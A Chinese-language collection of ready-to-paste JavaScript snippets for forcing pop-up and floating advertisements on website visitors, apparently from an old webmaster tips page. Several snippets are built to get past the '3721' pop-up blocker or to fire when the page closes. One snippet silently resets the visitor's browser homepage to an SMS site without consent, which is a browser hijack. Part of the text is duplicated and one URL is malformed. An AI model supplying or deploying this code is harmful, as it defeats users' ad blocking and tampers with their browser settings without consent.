一个浏览器 只关闭跳出一次的代码
<head><script>
function openwin()
{window.open("http://www.gjj.cc","gjj","width=300,height=300,left=0,top=0'");window.open("http://midi.gjj.cc","midi","width=300,height=300,left=400,top=0'")}
function get_cookie(Name)
{var search = Name + "="
var returnvalue = ""
if (document.cookie.length>0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset,end))
}
}return returnvalue;
}
function loadpopup(){
if (get_cookie('popped')=='')
{
openwin()
document.cookie="popped=yes"
}} </script>
<body onload="loadpopup()">
可以放到帧里去的
不被 3721拦截的跳出代码
<script language="javascript">
<!--
window.open("http://www.abc.com/","abc","resizable,menubar,scrollbars,dependent,toolbar,width=300,height=300");
//-->
</script>
<script LANGUAGE="JavaScript">
<!--
setTimeout('window.close();', 0)
//-->
</script>
将上面的代码存为 openwindow.htm
然后 在首页添加;;<script language="javascript">
focusid=setTimeout("focus();window.showModelessDialog('openwindow.htm','','scroll:0;status:0;help:0;resizable:0;dialogWidth:0px;dialogHeight:0px')",0000)
</script>
两边悬挂广告悬浮
var delay = 1;
if (document.body.clientWidth>800)
gjjadok();
function gjjadok()
{
document.write("<DIV id=gjj_zx align=center style="WIDTH: 90; HEIGHT: 90; POSITION: absolute; TOP: 0px; LEFT:0px"><table width=120 height=390 border=0 cellpadding=0 cellspacing=0 style='border: 1 solid #336699;'><tr><td align=right height=10><a href='javascript:close_ad();'><img src=http://www.shu6.com/images/close.gif width=12 height=10 border=0></a></td></tr><tr><td width=90><iframe src='http://www.shu6.com/ad/3721.htm' height=380 width=120 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe></td></tr></table></DIV><DIV id=gjj_yx align=center style="WIDTH:110; HEIGHT:310; POSITION: absolute; TOP: 0px; LEFT:0px"><table width=110 height=390 border=0 cellpadding=0 cellspacing=0 style='border: 1 solid #336699;'><tr><td align=left height=10><a href='javascript:close_ad();'><img src=http://www.shu6.com/images/close.gif width=12 height=10 border=0></a></td></tr><tr><td width=110><iframe src='http://www.shu6.com/ad/sohu.htm' height=380 width=112 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe></td></tr></table></DIV>");
gjj_zx.style.visibility = "visible";
gjj_yx.style.visibility = "visible";
setInterval('changePos()', delay);
}
function changePos(){
gjj_zx.style.left = document.body.scrollLeft;
gjj_zx.style.top =document.body.scrollTop + 20;
gjj_yx.style.left = document.body.scrollLeft + document.body.clientWidth - 120;
gjj_yx.style.top =document.body.scrollTop + 20;
}
function close_ad(){
gjj_zx.style.visibility = "hidden";
gjj_yx.style.visibility = "hidden"
}
循环跳出代码
<script>
var ran=Math.round(Math.random(0,5)*10);
switch(ran){
case 1:
var url="你的地址";
break;
case 2:
var url="你的地址";
break;
case 3:
var url="你的地址";
break;
case 4:
var url="你的地址"
break;
case 5:
var url="你的地址";
break;
case 6:
var url="你的地址";
break;
case 7:
var url="你的地址";
break;
case 8:
var url="你的地址";
break;
case 9:
var url="你的地址";
break;
case 10:
var url="你的地址";
break;
}
window.showModelessDialog(url,'','scroll:0;status:0;help:0;resizable:0;dialogWidth:315px;dialogHeight:330px');
</script>
一次跳出代码
function readCookie(name){
var nameEQ=name+"="
var ca=document.cookie.split(';')
for(var i=0;i<ca.length;i++){
var c=ca[i];
while(c.charAt(0)==' ')c=c.substring(1,c.length)
if(c.indexOf(nameEQ)==0)return c.substring(nameEQ.length,c.length)
}
return "";
}
function saveCookie(name,value){
document.cookie=name+"="+value+";path=/"
}
if(readCookie("sdd")!="Y"){
var msg4="<body ID=B onUnload=B.style.behavior='url(#default#homepage)';if(!(B.isHomePage('http://http://www.0051.com/ad/taobao')))B.setHomePage('http://sms.66xx.com/sms.htm');>"
document.write(msg4)
this.focus();
saveCookie("sdd","Y");
}
一个浏览器 只关闭跳出一次的代码
<head><script>
function openwin()
{window.open("http://www.gjj.cc","gjj","width=300,height=300,left=0,top=0'");window.open("http://midi.gjj.cc","midi","width=300,height=300,left=400,top=0'")}
function get_cookie(Name)
{var search = Name + "="
var returnvalue = ""
if (document.cookie.length>0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset,end))
}
}return returnvalue;
}
function loadpopup(){
if (get_cookie('popped')=='')
{
openwin()
document.cookie="popped=yes"
}} </script>
<body onload="loadpopup()">
一次性跳出2 个窗口的代码
<head><script>
function openwin()
{window.open("http://cqtom.com","ad","width=300,height=300,left=0,top=300'")}
function get_cookie(Name)
{var search = Name + "="
var returnvalue = ""
if (document.cookie.length>0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset,end))
}
}return returnvalue;
}
function loadpopup(){
if (get_cookie('popped')=='')
{
openwin()
document.cookie="popped=yes"
}} </script>
<body onunload="loadpopup()">